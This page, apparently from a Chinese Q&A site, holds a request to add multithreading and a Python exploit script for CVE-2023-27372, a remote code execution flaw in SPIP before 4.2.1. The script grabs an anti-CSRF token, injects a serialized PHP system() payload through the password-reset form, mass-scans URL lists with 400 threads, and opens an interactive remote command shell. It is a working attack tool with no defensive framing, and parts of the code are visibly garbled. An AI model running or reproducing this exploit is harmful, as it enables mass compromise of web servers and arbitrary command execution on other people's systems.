加上多线程给我修改过后的完整代码import osimport reimport bs4import argparseimport requestsfrom richconsole import Consolefrom urllibparse import urlparsefrom alive_progress import alive_barfrom prompt_toolkit import
import os import re import bs4 import argparse import requests
from rich.console import Console from urllib.parse import urlparse from alive_progress import alive_bar from prompt_toolkit import PromptSession from prompt_toolkit.formatted_text import HTML from prompt_toolkit.history import InMemoryHistory from concurrent.futures import ThreadPoolExecutor, as_completed
class VulnerabilityScanner: def init(self): self.console = Console() self.session = PromptSession(InMemoryHistory()) self.options = self.parseArgs() self.output_file = None
if self.options.output:
self.output_file = open(self.options.output, 'w')
def parseArgs(self):
parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by Chocapikk")
parser.add_argument("-u", "--url", default=None, help="SPIP application base URL")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
parser.add_argument("-l", "--list", default=None, help="File with a list of SPIP application base URLs")
parser.add_argument("-o", "--output", default=None, help="Write output to file")
return parser.parse_args()
def get_anticsrf(self, url):
proxies = {'http': 'http://127.0.0.1:7890', 'https': 'http://127.0.0.1:7890'}
r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=5, verify=False, proxies=proxies)
soup = bs4.BeautifulSoup(r.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
if csrf_input:
csrf_value = csrf_input['value']
if self.options.verbose:
self.console.print(f"[bold green][+] Anti-CSRF token found : {csrf_value}[/bold green]")
return csrf_value
else:
if self.options.verbose:
self.console.print("[bold red][-] Unable to find Anti-CSRF token[/bold red]")
return -1
def send_payload(self, url, csrf, payload):
data = {
"page": "spip_pass",
"formulaire_action": "oubli",
"formulaire_action_args": csrf,
"oubli": payload
}
r = requests.post('%s/spip.php?page=spip_pass' % url, data=data, timeout=3, verify=False)
if self.options.verbose:
self.console.print(f"[bold yellow][+] Execute this payload : {payload}[/bold yellow]")
#print(r.text)
return r.text
def parse_output(self, text):
pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL)
matches = pattern.findall(text)
return "\n".join(matches)
def fix_url(self, url):
parsed_url = urlparse(url)
return f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"
def check_vulnerability_wrapper(self, url):
for test in range(2):
output = self.check_vulnerability(url)
vulnerable = False
if output:
self.console.print(f"[bold green][+] The URL {url} is vulnerable with 'whoami' result: {output.strip()}[/bold green]")
self._write(f"URL: {url} ==> {output.strip()}")
break
if not vulnerable and test == 2:
self.console.print(f"[bold red][-] The URL {url} is not vulnerable[/bold red]")
def _write(self, text):
if self.output_file:
self.output_file.write(text + "\n")
def check_vulnerability(self, url):
csrf = self.get_anticsrf(url)
if csrf == -1:
return False
cmd = "who' . 'ami"
command_str = "<?php system('echo [' . 'S' . '] ; ' . '%s' . '; echo [' . 'E' . '] ;');?>" % cmd
payload = "s:%s:\"%s\";" % (len(command_str), command_str)
result = self.send_payload(url=url, csrf=csrf, payload=payload)
output = self.parse_output(result)
if output:
return output
else:
return False
def run(self):
options = self.options
urls = []
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
if options.list:
with open(options.list, 'r') as f:
urls = [self.fix_url(line.strip()) for line in f]
with open(options.list, 'r') as f:
urls = [self.fix_url(line.strip()) for line in f]
with alive_bar(len(urls), bar='notes', spinner='wait', title='Scanning...') as bar:
with ThreadPoolExecutor(max_workers=400) as executor:
futures = []
for url in urls:
futures.append(executor.submit(self.check_vulnerability_wrapper, url))
for future in as_completed(futures):
bar()
elif options.url:
session = PromptSession(InMemoryHistory())
if self.check_vulnerability(options.url):
while True:
try:
cmd = session.prompt(HTML('<ansired><b># </b></ansired>'))
if cmd.lower() == "exit":
break
elif cmd.lower() == "clear":
if os.name == 'posix':
os.system('clear')
elif os.name == 'nt':
os.system('cls')
continue
command_str = "<?php system('echo [' . 'S' . '] ; ' . '%s' . '; echo [' . 'E' . '] ;');?>" % cmd
payload = "s:%s:\"%s\";" % (len(command_str), command_str)
csrf = self.get_anticsrf(url=options.url)
result = self.send_payload(url=options.url, csrf=csrf, payload=payload)
output = self.parse_output(result)
self.console.print(f"[bold green]{output}[/bold green]")
except KeyboardInterrupt:
self.console.print(f"[bold yellow][+] Exiting...[/bold yellow]")
break
else:
self.console.print(f"[bold red][-] Not vulnerable[/bold red]")
if self.output_file:
self.output_file.close()
if name == 'main': scanner = VulnerabilityScanner() scanner.run(
原文地址: https://www.cveoy.top/t/topic/h2vN 著作权归作者所有。请勿转载和采集!